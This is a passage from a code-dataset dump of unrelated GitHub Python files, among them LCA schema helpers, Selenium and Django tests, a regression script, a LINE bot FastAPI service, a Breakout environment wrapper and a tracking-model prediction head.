    is_ref_flow_property=True,\n    )\n    return Flow(name=name, flow_type=flow_type, flow_properties=[factor])\n\n\ndef new_product(name: str, flow_property: Union[Ref, FlowProperty]) -> Flow:\n    \"\"\"Creates a new product flow.\n\n    Parameters\n    ----------\n    name:\n        The name of the new flow.\n    flow_property:\n        The reference flow property of the flow.\n\n    Example\n    -------\n    ```python\n    group = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', group)\n    steel = new_product('Steel', FlowType.PRODUCT_FLOW, mass)\n    ```\n    \"\"\"\n    return new_flow(name, FlowType.PRODUCT_FLOW, flow_property)\n\n\ndef new_waste(name: str, flow_property: Union[Ref, FlowProperty]) -> Flow:\n    \"\"\"Creates a new waste flow.\n\n    Parameters\n    ----------\n    name:\n        The name of the new flow.\n    flow_property:\n        The reference flow property of the flow.\n\n    Example\n    -------\n    ```python\n    group = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', group)\n    scrap = new_waste('Scrap', FlowType.PRODUCT_FLOW, mass)\n    ```\n    \"\"\"\n    return new_flow(name, FlowType.WASTE_FLOW, flow_property)\n\n\ndef new_elementary_flow(\n    name: str, flow_property: Union[Ref, FlowProperty]\n) -> Flow:\n    \"\"\"Creates a new elementary flow.\n\n    Parameters\n    ----------\n    name:\n        The name of the new flow.\n    flow_property:\n        The reference flow property of the flow.\n\n    Example\n    -------\n    ```python\n    group = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', group)\n    co2 = new_elementary_flow('CO2', FlowType.PRODUCT_FLOW, mass)\n    ```\n    \"\"\"\n    return new_flow(name, FlowType.ELEMENTARY_FLOW, flow_property)\n\n\ndef new_process(name: str) -> Process:\n    \"\"\"Creates a new process.\n\n    Parameters\n    ----------\n    name:\n        The name of the new process.\n\n    Example\n    -------\n    ```python\n    process = new_process('Steel production')\n    ```\n    \"\"\"\n    return Process(name=name, process_type=ProcessType.UNIT_PROCESS)\n\n\ndef new_exchange(\n    process: Process,\n    flow: Union[Ref, Flow],\n    amount: Union[str, float] = 1.0,\n    unit: Optional[Union[Ref, Unit]] = None,\n) -> Exchange:\n    \"\"\"Creates a new exchange.\n\n    Parameters\n    ----------\n    process:\n        The process of the new exchange.\n    flow:\n        The flow of this exchange.\n    amount:\n        The amount of the exchange; defaults to 1.0. Strings a floating point\n        numbers are allowed. If a string is passed as amount, we assume that\n        it is a valid formula.\n    unit:\n        The unit of the exchange. If not provided the exchange amount is given\n        in the reference unit of the linked flow.\n\n    Example\n    -------\n    ```python\n    units = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', units)\n    steel = new_product('Steel', FlowType.PRODUCT_FLOW, mass)\n    process = new_process('Steel production')\n    exchange = new_exchange(process, steel, 1.0)\n    exchange.quantitative_reference = True\n    ```\n    \"\"\"\n    if process.last_internal_id is None:\n        internal_id = 1\n    else:\n        internal_id = process.last_internal_id + 1\n    process.last_internal_id = internal_id\n    exchange = Exchange(internal_id=internal_id, flow=as_ref(flow))\n    if isinstance(amount, str):\n        exchange.amount_formula = amount\n    else:\n        exchange.amount = amount\n    if unit:\n        exchange.unit = as_ref(unit)\n    if process.exchanges is None:\n        process.exchanges = [exchange]\n    else:\n        process.exchanges.append(exchange)\n    return exchange\n\n\ndef new_input(\n    process: Process,\n    flow: Union[Ref, Flow],\n    amount: Union[str, float] = 1.0,\n    unit: Optional[Union[Ref, Unit]] = None,\n) -> Exchange:\n    \"\"\"Creates a new input.\n\n    Example\n    -------\n    ```python\n    units = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', units)\n    process = new_process('Steel production')\n    scrap = new_waste('Scrap', FlowType.PRODUCT_FLOW, mass)\n    input = new_input(process, scrap, 0.1)\n    ```\n    \"\"\"\n    exchange = new_exchange(process, flow, amount, unit)\n    exchange.is_input = True\n    return exchange\n\n\ndef new_output(\n    process: Process,\n    flow: Union[Ref, Flow],\n    amount: Union[str, float] = 1.0,\n    unit: Optional[Union[Ref, Unit]] = None,\n) -> Exchange:\n    \"\"\"Creates a new output.\n\n    Example\n    -------\n    ```python\n    units = new_unit_group('Mass units', 'kg')\n    mass = new_flow_property('Mass', units)\n    steel = new_product('Steel', FlowType.PRODUCT_FLOW, mass)\n    process = new_process('Steel production')\n    output = new_output(process, steel, 1.0)\n    output.quantitative_reference = True\n    ```\n    \"\"\"\n    exchange = new_exchange(process, flow, amount, unit)\n    exchange.is_input = False\n    return exchange\n\n\ndef new_location(name: str, code: Optional[str] = None) -> Location:\n    \"\"\"Creates a new location.\n\n    Parameters\n    ----------\n    name:\n        The name of the new location.\n    code:\n        An optional location code.\n\n    Example\n    -------\n    ```python\n    location = new_location('Germany', 'DE')\n    ```\n    \"\"\"\n    return Location(name=name, code=code or name)\n\n\ndef new_parameter(\n    name: str, value: Union[str, float], scope=ParameterScope.GLOBAL_SCOPE\n) -> Parameter:\n    \"\"\"Creates a new parameter.\n\n    Parameters\n    ----------\n    name:\n        The name of the new parameter. Note that parameters can be used\n        in formulas. So that the name of the parameter has to follow\n        specific syntax rules, i.e. it cannot contain whitespaces or\n        special characters.\n    value:\n        The parameter value. If a string is passed as value into this\n        function we assume that this is a formula, and we will create\n        a dependent, calculated parameter. Otherwise, we create an\n        input parameter\n    scope:\n        The scope of the parameter. If not specified otherwise this\n        defaults to global scope.\n    Example\n    -------\n    ```python\n    # create a global input parameter\n    global_scrap_rate = new_parameter('global_scrap_rate', 1.0)\n    # create a local calculated parameter of a process\n    local_scrap_rate = new_parameter(\n        'local_scrap_rate',\n        'global_scrap_rate * 0.9',\n        ParameterScope.PROCESS_SCOPE)\n    process = new_process('Steel production')\n    process.parameters = [local_scrap_rate]\n    ```\n    \"\"\"\n    param = Parameter(name=name, parameter_scope=scope)\n    if isinstance(value, str):\n        param.formula = value\n        param.is_input_parameter = False\n    else:\n        param.value = value\n        param.is_input_parameter = True\n    return param\n\n\ndef new_physical_allocation_factor(\n    process: Process, product: Union[Ref, Flow], amount: Union[str, float]\n) -> AllocationFactor:\n    f = _new_allocation_factor(process, product, amount)\n    f.allocation_type = AllocationType.PHYSICAL_ALLOCATION\n    return f\n\n\ndef new_economic_allocation_factor(\n    process: Process, product: Union[Ref, Flow], amount: Union[str, float]\n) -> AllocationFactor:\n    f = _new_allocation_factor(process, product, amount)\n    f.allocation_type = AllocationType.ECONOMIC_ALLOCATION\n    return f\n\n\ndef new_causal_allocation_factor(\n    process: Process,\n    product: Union[Ref, Flow],\n    amount: Union[str, float],\n    exchange: Union[Exchange, ExchangeRef],\n) -> AllocationFactor:\n    f = _new_allocation_factor(process, product, amount)\n    f.allocation_type = AllocationType.CAUSAL_ALLOCATION\n    f.exchange = ExchangeRef(internal_id=exchange.internal_id)\n    return f\n\n\ndef _new_allocation_factor(\n    process: Process, product: Union[Ref, Flow], amount: Union[str, float]\n) -> AllocationFactor:\n    f = AllocationFactor()\n    f.product = as_ref(product)\n    if isinstance(amount, str):\n        f.formula = amount\n    else:\n        f.value = amount\n    if process.allocation_factors is None:\n        process.allocation_factors = [f]\n    else:\n        process.allocation_factors.append(f)\n    return f\n\n\ndef new_impact_category(name: str) -> ImpactCategory:\n    return ImpactCategory(name=name)\n\n\ndef new_impact_factor(\n    indicator: ImpactCategory,\n    flow: Union[Ref, Flow],\n    value: Union[str, float] = 1.0,\n    unit: Optional[Union[Ref, Unit]] = None,\n) -> ImpactFactor:\n    factor = ImpactFactor(flow=as_ref(flow))\n    if isinstance(value, str):\n        factor.formula = value\n    else:\n        factor.value = value\n    if unit:\n        factor.unit = as_ref(unit)\n    if indicator.impact_factors is None:\n        indicator.impact_factors = [factor]\n    else:\n        indicator.impact_factors.append(factor)\n    return factor\n\n\ndef new_impact_method(\n    name: str, *indicators: Union[Ref, ImpactCategory]\n) -> ImpactMethod:\n    method = ImpactMethod(name=name)\n    method.impact_categories = [as_ref(c) for c in indicators]\n    return method\n\n\ndef as_ref(e: Union[RefEntity, Ref]) -> Ref:\n    return e if isinstance(e, Ref) else e.to_ref()\n","repo_name":"GreenDelta/olca-schema","sub_path":"py/olca_schema/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":11270,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"16"}
+{"seq_id":"40708079538","text":"import unittest\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.chrome.service import Service\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as EC\n\nclass NavigationTest(unittest.TestCase):\n\n    @classmethod\n    def setUpClass(cls):\n        s = Service('./chromedriver')\n        cls.driver = webdriver.Chrome(service=s)\n        driver = cls.driver\n        driver.get(\"http://demo-store.seleniumacademy.com/\")\n        driver.maximize_window()\n\n    def test_account_link(self):\n        WebDriverWait(self.driver, 10).until(lambda x: x.find_element(By.ID, 'select-language').get_attribute('length') == '3')\n        account = WebDriverWait(self.driver, 10).until(EC.visibility_of_element_located((By.LINK_TEXT, 'ACCOUNT')))\n        account.click()\n\n    def test_create_new_constumer(self):\n        self.driver.find_element(By.LINK_TEXT, 'ACCOUNT').click()\n        my_account = WebDriverWait(self.driver, 10).until(EC.visibility_of_element_located((By.LINK_TEXT, 'MY ACCOUNT')))\n        my_account.click()\n\n        create_acconut_button = WebDriverWait(self.driver, 20).until(EC.element_to_be_clickable((By.LINK_TEXT, 'CREATE AN ACCOUNT')))\n        create_acconut_button.click()\n\n        WebDriverWait(self.driver, 10).until(EC.title_contains('Create New Customer Account'))\n\n    @classmethod\n    def tearDownClass(cls):\n        cls.driver.quit()\n\n\nif __name__ == '__main__':\n    unittest.main(verbosity=2)\n","repo_name":"JavierLGZ/selenium-platzi","sub_path":"waits.py","file_name":"waits.py","file_ext":"py","file_size_in_byte":1520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19753122022","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Aug  4 00:49:36 2020\n\n@author: ViShAl\n\"\"\"\n\n\nimport pandas as pd\nimport numpy as np\nimport seaborn as sns\n\nurl1 = 'https://archive.ics.uci.edu/ml/machine-learning-databases/00242/ENB2012_data.xlsx'\ndata1 = pd.read_excel(url1)\n\n\ncolName = {'X1':'Relative_Compactness', 'X2': 'Surface_Area', 'X3': 'Wall_Area', 'X4': 'Roof_Area', 'X5': 'Overall_Height', 'X6': 'Orientation', 'X7': 'Glazing_Area', 'X8': 'Glazing_Area_Distribution', 'Y1': 'Heating_Load', 'Y2': 'Cooling_Load'}\n\ndata = data.rename(columns = colName)\n\nsimpleLinearReg = data[['Relative_Compactness' , 'Cooling_Load']].sample(15, random_state = 2)\n\nsns.regplot(x = \"Relative_Compactness\", y = \"Cooling_Load\", data = simpleLinearReg)\n\nfrom sklearn.preprocessing import MinMaxScaler\n\nscaler = MinMaxScaler()\n\nnormalisedData = pd.DataFrame(scaler.fit_transform(data), columns=data.columns)\n\nfeaturesData = normalisedData.drop(columns=['Heating_Load', 'Cooling_Load'])\n\ntarget = normalisedData['Heating_Load']\n\nfrom sklearn.model_selection import train_test_split\n\nx_train, x_test, y_train, y_test = train_test_split(featuresData, target, test_size=0.3, random_state=1)\n\nfrom sklearn.linear_model import LinearRegression\n\nlinearModel = LinearRegression()\nlinearModel.fit(x_train, y_train)\npredictedValues = linearModel.predict(x_test)\n\nfrom sklearn.metrics import mean_absolute_error\nmn = mean_absolute_error(y_test, predictedValues)\nround(mn, 3)\n\n\nResidualSumSquares = np.sum(np.square(y_test - predictedValues))\nround(ResidualSumSquares, 3)\n\nfrom sklearn.metrics import mean_squared_error\nRootMeanSquareError = np.sqrt(mean_squared_error(y_test, predictedValues))\nround(RootMeanSquareError, 3)\n\nfrom sklearn.metrics import r2_score\nr2_score = r2_score(y_test, predictedValues)\nround(r2_score, 3)\n\nfrom sklearn.linear_model import Ridge\nRidgeRegression = Ridge(alpha=0.5)\nRidgeRegression.fit(x_train, y_train)\n\nfrom sklearn.linear_model import Lasso\nLassoRegression = Lasso(alpha=0.001)\nLassoRegression.fit(x_train, y_train)\n\ndef getWeightsData(model, feat, col_name):\n    weights = pd.Series(model.coef_, feat.columns).sort_values()\n    weightsData = pd.DataFrame(weights).reset_index()\n    weightsData.columns = ['Features', col_name]\n    weightsData[col_name].round(3)\n    return weightsData\n\nlinearModelWeights = getWeightsData(linearModel, x_train, 'Linear_Model_Weight')\nridgeWeightsData = getWeightsData(RidgeRegression, x_train, 'Ridge_Weight')\nlassoWeightsData = getWeightsData(LassoRegression, x_train, 'Lasso_weight')\n\nfinalWeights = pd.merge(linearModelWeights, ridgeWeightsData, on='Features')\nfinalWeights = pd.merge(finalWeights, lassoWeightsData, on='Features')\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"vkprajapati/LinearRegression","sub_path":"LinearRegression/SimpleLinearRegression.py","file_name":"SimpleLinearRegression.py","file_ext":"py","file_size_in_byte":2705,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"11065839553","text":"# -*- coding: utf-8 -*-\nimport werkzeug.urls\nfrom odoo import models, fields, api, _\nfrom odoo.exceptions import UserError\n\n\nclass ChannelNoJoinedNoti(models.Model):\n    _inherit = 'mail.channel'\n\n    def channel_join_and_get_info(self):\n        self.ensure_one()\n        # if self.channel_type == 'channel' and not self.email_send:\n            # notification = _(\n            #     '<div class=\"o_mail_notification\">joined <a href=\"#\" class=\"o_channel_redirect\" data-oe-id=\"%s\">#%s</a></div>') % (\n            #                self.id, self.name,)\n            # self.message_post(body=notification, message_type=\"notification\", subtype=\"mail.mt_comment\")\n        self.action_follow()\n\n        if self.moderation_guidelines:\n            self._send_guidelines(self.env.user.partner_id)\n\n        channel_info = self.channel_info()[0]\n        self.env['bus.bus'].sendone((self._cr.dbname, 'res.partner', self.env.user.partner_id.id), channel_info)\n        return channel_info","repo_name":"sagarpise/datn","sub_path":"user_lock/models/mail_channel.py","file_name":"mail_channel.py","file_ext":"py","file_size_in_byte":972,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25539508392","text":"import mahotas as mt\n\ndef get_image_texture_features(img):\n    print(\"Calculating Haralick's Texture features...\") # User update and interaction\n\n    #we use mahotas predefined libray functions to calculate the haralick's features.\n    textures = mt.features.haralick(img, compute_14th_feature=True)\n    mean = textures.mean(axis=0) #calculates the mean value of all the haralick's features over different axes.\n\n    dict = {'Angular second moment': mean[0],\n            'contrast': mean[1],\n            'correlation': mean[2],\n            'sum of variance': mean[3],\n            'inverse difference moment': mean[4],\n            'sum average': mean[5],\n            'sum variance': mean[6],\n            'sum entropy': mean[7],\n            'entropy': mean[8],\n            'difference variance': mean[9],\n            'difference entropy': mean[10],\n            'information measures of correlation 1': mean[11],\n            'information measures of correlation 2': mean[12],\n            'maximal correlation coefficient': mean[13]}\n\n    return dict","repo_name":"prodiptahalder/Python_Skin-Disease-Detection_Project","sub_path":"functions/textureFeature.py","file_name":"textureFeature.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"23223324236","text":"from django.test import TestCase\nfrom .models import Video \nimport pytest\nimport redis\nimport os\nimport subprocess\n\ndef is_redis_available(host='localhost', port=6379):\n    try:\n        client = redis.StrictRedis(host=host, port=port, db=0)\n\n        client.ping()\n        return True\n    except redis.ConnectionError:\n        return False\n\ndef test_redis_availability():\n   \n    assert is_redis_available(), \"Redis is not available. Please ensure it is running and accessible.\"\n\n\ndef is_ffmpeg_installed():\n    try:\n      \n        subprocess.run(['ffmpeg', '-version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)\n        return True\n    except subprocess.CalledProcessError:\n        return False\n\n@pytest.mark.parametrize(\"input_quality, output_quality\", [(\"source.mp4\", \"240\"), (\"source.mp4\", \"360\")])\ndef test_ffmpeg_quality_conversion(input_quality, output_quality):\n\n    assert is_ffmpeg_installed(), \"FFmpeg is not installed or accessible. Please ensure it is properly installed.\"\n\n\n    input_file = os.path.join(\"path_to_test_files\", input_quality)\n    output_file = os.path.join(\"path_to_test_files\", f\"output_{output_quality}.mp4\")\n    ffmpeg_cmd = f\"ffmpeg -i {input_file} -vf scale={output_quality}:-1 -c:v libx264 -c:a copy {output_file}\"\n\n    try:\n       \n        subprocess.run(ffmpeg_cmd, shell=True, check=True)\n      \n        assert os.path.exists(output_file), f\"FFmpeg conversion failed. Output file '{output_file}' not found.\"\n    finally:\n    \n        if os.path.exists(output_file):\n            os.remove(output_file)\n","repo_name":"amirQuf/ConvertVideo","sub_path":"video/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"29942365893","text":"from django.shortcuts import render, redirect\nfrom django.core.mail import send_mail\n\nfrom . import models\nfrom .models import Contact\nfrom .models import About, Service, Lblog, Team, Portfolio, Localisation\n\n# Create your views here.\ndef Accueil(request):\n    about = About.objects.filter()\n    services = Service.objects.filter()\n    lblogs = Lblog.objects.filter()\n    teams = Team.objects.filter()\n    portfolios = Portfolio.objects.filter()\n    localisations = Localisation.objects.filter()\n\n\n\n\n    if request.method == 'POST':\n        contact = models.Contact()\n        nom = request.POST.get('first_name')\n        email = request.POST.get('email')\n        contenu = request.POST.get('message')\n\n        contact.nom = nom\n        contact.email = email\n        contact.contenus = contenu\n        contact.save()\n\n\n    datas = {\n\n        'about': about,\n        'services': services,\n        'lblogs': lblogs,\n        'teams': teams,\n        'portfolios': portfolios,\n        'localisations': localisations,\n\n\n    }\n\n    return render(request, \"Accueil.html\", datas)\n\n\n\n\n\n\n\n\n\n","repo_name":"JuniorKoffi/Patros","sub_path":"sora/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1079,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28373033431","text":"#!/usr/local/bin python3.6\r\n# -*- coding: utf-8 -*-\r\n# 10-1.py\r\n\r\nimport sys\r\n\r\nfile = \"./hightemp.txt\"\r\nf = open(file)\r\ncount = 1\r\nfor i in f.readline():\r\n    count += 1\r\nf.close()\r\n\r\nprint(count)\r\n# 結果\r\n# 23\r\n","repo_name":"oresama-lab/Python-Exercises","sub_path":"chapter2/10-1.py","file_name":"10-1.py","file_ext":"py","file_size_in_byte":215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43550664227","text":"import os\nfrom fastapi import FastAPI, Header, Request, Response\nfrom fastapi.responses import FileResponse\nfrom linebot import LineBotApi, WebhookHandler\nfrom linebot.exceptions import InvalidSignatureError\nfrom linebot.models import MessageEvent\nfrom starlette.exceptions import HTTPException\nfrom starlette.middleware.cors import CORSMiddleware\nfrom app.routers import linebot\nfrom pydantic import BaseModel\nimport json\nimport requests\nfrom typing import Optional\nfrom app.services.db_services.db_access import DBLayer\n# FastAPIのインスタンス作成\napp = FastAPI(title=\"linebot-sample\", description=\"This is sample of LINE Bot.\")\napp.add_middleware(\n    CORSMiddleware,\n    allow_origins=[\"*\"],\n    allow_credentials=True,\n    allow_methods=[\"*\"],\n    allow_headers=[\"*\"],\n)\n# LINE Botに関するインスタンス作成\nline_bot_api = LineBotApi(os.environ[\"LINE_CHANNEL_ACCESS_TOKEN\"])\nhandler = WebhookHandler(os.environ[\"LINE_CHANNEL_SECRET\"])\n\n\n@app.get(\"/\")\ndef root():\n    \"\"\"\n    ルートにアクセスした際の処理です。APIの情報を返します。\n    \"\"\"\n\n    return {\"title\": app.title, \"description\": app.description}\n\n\n@app.post(\n    \"/callback\",\n    summary=\"LINE Message APIからのコールバックです。\",\n    description=\"ユーザーからメッセージが送信された際、LINE Message APIからこちらのメソッドが呼び出されます。\",\n)\nasync def callback(request: Request, x_line_signature=Header(None)):\n    body = await request.body()\n    handler.handle(body.decode(\"utf-8\"), x_line_signature)\n    return \"OK\"\n\n\n# @app.get(\n#     \"/auth_my_info_api\",\n#     summary=\"自己情報提供API認証のモック\",\n#     description=\"とりあえずクリックしたらLINE返信\",\n# )\n# def auth_my_info_api(request: Request, x_line_signature=Header(None)):\n#     body = request.body()\n#     try:\n#         handler.handle(body.decode(\"utf-8\"), x_line_signature)\n#     except InvalidSignatureError:\n#         raise HTTPException(status_code=400, detail=\"InvalidSignatureError\")\n#     return \"OK\"\n\n\n\n@handler.add(MessageEvent)\ndef handle_message(event):\n    \"\"\"\n    LINE Messaging APIのハンドラより呼び出される処理です。\n    受け取ったメッセージに従い返信メッセージを返却します。\n\n    Parameters\n    ----------\n    event : MessageEvent\n        送信されたメッセージの情報です。\n    \"\"\"\n    line_user_id:str = event.source.user_id\n    user_id = DBLayer().get_user_id_from_line_id(line_user_id)\n    user_message = event.message.text\n    #新規ユーザーの場合\n    if user_id is None:\n        if user_message == \"同意する\":\n            DBLayer().create_user(line_user_id)\n            user_id = DBLayer().get_user_id_from_line_id(line_user_id)\n            personal_information = linebot.get_personal_information_from_api()\n            messages = []\n            first_message = linebot.first_message(personal_information)\n            messages.append(first_message)\n            profile = linebot.second_message(personal_information)\n            messages.append(profile)\n            DBLayer().update_profile(user_id, profile.text)\n            result = linebot.search_support(profile.text)\n            after_search_result = linebot.after_search_result()\n            messages.append(after_search_result)\n            line_bot_api.reply_message(event.reply_token, messages)\n        else:\n            line_bot_api.reply_message(event.reply_token, linebot.agreement_message())\n    else:\n        messages = []\n        line_bot_obj = linebot.update_profile(user_id, user_message)\n        messages.append(line_bot_obj)\n        DBLayer().update_profile(user_id, line_bot_obj.text)\n        result = linebot.search_support(line_bot_obj.text)\n        print(result)\n        messages.append(result)\n        after_search_result = linebot.after_search_result()\n        messages.append(after_search_result)\n        line_bot_api.reply_message(event.reply_token, messages)\n\n\n","repo_name":"ttizze/optimizer","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3981,"program_lang":"python","lang":"ja","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"4158393087","text":"\"\"\"\nPlotting tools for double-layer models\n\"\"\"\n\nimport numpy as np\n\nGAMMA_LIST = [4, 5, 6, 7]\nCONC_LIST = [1e-3, 1e-2, 1e-1, 5e-1]\nDEFAULT_GAMMA = 6\nDEFAULT_CONC_M = 100e-3\n\n\ndef get_color_gradient(size: int, color=\"blue\"):\n    \"\"\"\n    Get a light blue to dark blue color gradient in the form of\n    an array of RGB tuples\n    [(r1, g1, b1), ..., (rn, gn, bn)]\n    \"\"\"\n    if color == \"blue\":\n        red = np.linspace(3, 2, size)[::-1] / 255\n        gre = np.linspace(57, 242, size)[::-1] / 255\n        blu = np.linspace(143, 250, size)[::-1] / 255\n    elif color == \"green\":\n        red = np.linspace(21, 97, size)[::-1] / 255\n        gre = np.linspace(99, 214, size)[::-1] / 255\n        blu = np.linspace(9, 79, size)[::-1] / 255\n    elif color == \"red\":\n        red = np.linspace(59, 252, size)[::-1] / 255\n        gre = np.linspace(3, 45, size)[::-1] / 255\n        blu = np.linspace(28, 52, size)[::-1] / 255\n    elif color == \"purple\":\n        red = np.linspace(56, 230, size)[::-1] / 255\n        gre = np.linspace(4, 118, size)[::-1] / 255\n        blu = np.linspace(107, 245, size)[::-1] / 255\n    else:\n        return None\n\n    return [(red[i], gre[i], blu[i]) for i in range(size)]\n","repo_name":"lucasdekam/double-layer-modelling","sub_path":"plotting.py","file_name":"plotting.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41960812544","text":"data = ''\r\nwhile True:\r\n    file = open('e:/datamhs.txt', 'a')\r\n    nim = input('Masukkan NIM             : ')\r\n    nama = input('Masukkan Nama Mahasiswa  : ')\r\n    alamat = input('Masukkan Alamat          : ')\r\n    form = nim + '|' + nama + '|' + alamat + '\\n'\r\n    lagi = input('Mau menambahkan lagi? (y/n): ')\r\n    if lagi == 'y':\r\n        print('')\r\n        file.write(form)\r\n        file.close()\r\n        continue\r\n    elif lagi == 'n':\r\n        file.write(form)\r\n        file.close()\r\n        break\r\n","repo_name":"lentera14/Pemrograman-Terstruktur","sub_path":"Chapter10/02.py","file_name":"02.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"id","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72225605447","text":"\nimport sys\nsys.path.append('/u/training/tra413/.local/lib/python3.6/site-packages/')\nsys.path.append('/home/lihan/.local/lib/python2.7/site-packages')\nsys.path.append('/opt/packages/python/2_7_11_gcc/lib/python2.7/site-packages')\nsys.path.append('/home/lihan/RL')\nsys.path.append('/home/lihan/RL/gym')\nsys.path.append('/home/lihan/RL/gym/gym')\nimport gym\nimport numpy as np\nimport cv2\n\nclass Breakout(object):\n\n    def __init__(self):\n\n        self.env = gym.make('BreakoutDeterministic-v4')\n        self.current_phi = None\n        self.reset()\n        self.lives = 6\n\n    def step(self, action):\n\t\t\n        obs, r, done, info = self.env.step(action)\n\n        if( self.lives == 6 ):\n            obs, r, done, info = self.env.step(1) # fire\n            self.lives -= 1\n\n        if( info['ale.lives'] == 4 ):\n            done = True\n\n#        obs1 = obs.transpose(2,0,1)\n        obs = self._rbg2gray(obs)\n        phi_next = self._phi(obs)\n\n        phi_phi = np.vstack([self.current_phi, obs[np.newaxis]])\n        self.current_phi = phi_next\n\n        return phi_phi, r, done\n\n    def reset(self):\n        x = self.env.reset()\n        x = self._rbg2gray(x)\n        phi = np.stack([x, x, x, x])\n        self.current_phi = phi\n        self.lives = 6\n\n        return phi\n\n    def _rbg2gray(self, x):\n        x = x.astype('float32')\n        x = cv2.cvtColor(x, cv2.COLOR_RGB2GRAY)\n        x = cv2.resize(x, (84, 84))/127.5 - 1.\n\n        return x\n\n    def _phi(self, x):\n\n        new_phi = np.zeros((4, 84, 84), dtype=np.float32)\n        new_phi[:3] = self.current_phi[1:]\n        new_phi[-1] = x\n\t\t\n        return new_phi\n\n    def display(self):\n        self.env.render()\n","repo_name":"hli13/bootstrapped-dqn","sub_path":"breakout.py","file_name":"breakout.py","file_ext":"py","file_size_in_byte":1665,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"16"}
+{"seq_id":"22861043018","text":"# The implementation is adopted from OSTrack,\n# made publicly available under the MIT License at https://github.com/botaoye/OSTrack/\nimport torch\nimport torch.nn as nn\n\n\ndef conv(in_planes,\n         out_planes,\n         kernel_size=3,\n         stride=1,\n         padding=1,\n         dilation=1):\n    return nn.Sequential(\n        nn.Conv2d(\n            in_planes,\n            out_planes,\n            kernel_size=kernel_size,\n            stride=stride,\n            padding=padding,\n            dilation=dilation,\n            bias=True), nn.BatchNorm2d(out_planes), nn.ReLU(inplace=True))\n\n\nclass CenterPredictor(\n        nn.Module, ):\n\n    def __init__(self, inplanes=64, channel=256, feat_sz=20, stride=16):\n        super(CenterPredictor, self).__init__()\n        self.feat_sz = feat_sz\n        self.stride = stride\n        self.img_sz = self.feat_sz * self.stride\n\n        # corner predict\n        self.conv1_ctr = conv(inplanes, channel)\n        self.conv2_ctr = conv(channel, channel // 2)\n        self.conv3_ctr = conv(channel // 2, channel // 4)\n        self.conv4_ctr = conv(channel // 4, channel // 8)\n        self.conv5_ctr = nn.Conv2d(channel // 8, 1, kernel_size=1)\n\n        # offset regress\n        self.conv1_offset = conv(inplanes, channel)\n        self.conv2_offset = conv(channel, channel // 2)\n        self.conv3_offset = conv(channel // 2, channel // 4)\n        self.conv4_offset = conv(channel // 4, channel // 8)\n        self.conv5_offset = nn.Conv2d(channel // 8, 2, kernel_size=1)\n\n        # size regress\n        self.conv1_size = conv(inplanes, channel)\n        self.conv2_size = conv(channel, channel // 2)\n        self.conv3_size = conv(channel // 2, channel // 4)\n        self.conv4_size = conv(channel // 4, channel // 8)\n        self.conv5_size = nn.Conv2d(channel // 8, 2, kernel_size=1)\n\n        for p in self.parameters():\n            if p.dim() > 1:\n                nn.init.xavier_uniform_(p)\n\n    def forward(self, x, return_score=False):\n        \"\"\" Forward pass with input x. \"\"\"\n        score_map_ctr, size_map, offset_map = self.get_score_map(x)\n\n        if return_score:\n            bbox, max_score = self.cal_bbox(\n                score_map_ctr, size_map, offset_map, return_score=True)\n            return score_map_ctr, bbox, size_map, offset_map, max_score\n        else:\n            bbox = self.cal_bbox(score_map_ctr, size_map, offset_map)\n            return score_map_ctr, bbox, size_map, offset_map\n\n    def cal_bbox(self,\n                 score_map_ctr,\n                 size_map,\n                 offset_map,\n                 return_score=False):\n        max_score, idx = torch.max(\n            score_map_ctr.flatten(1), dim=1, keepdim=True)\n        idx_y = idx // self.feat_sz\n        idx_x = idx % self.feat_sz\n\n        idx = idx.unsqueeze(1).expand(idx.shape[0], 2, 1)\n        size = size_map.flatten(2).gather(dim=2, index=idx)\n        offset = offset_map.flatten(2).gather(dim=2, index=idx).squeeze(-1)\n\n        # cx, cy, w, h\n        bbox = torch.cat(\n            [(idx_x.to(torch.float) + offset[:, :1]) / self.feat_sz,\n             (idx_y.to(torch.float) + offset[:, 1:]) / self.feat_sz,\n             size.squeeze(-1)],\n            dim=1)\n\n        if return_score:\n            return bbox, max_score\n        return bbox\n\n    def get_score_map(self, x):\n\n        def _sigmoid(x):\n            y = torch.clamp(x.sigmoid_(), min=1e-4, max=1 - 1e-4)\n            return y\n\n        # ctr branch\n        x_ctr1 = self.conv1_ctr(x)\n        x_ctr2 = self.conv2_ctr(x_ctr1)\n        x_ctr3 = self.conv3_ctr(x_ctr2)\n        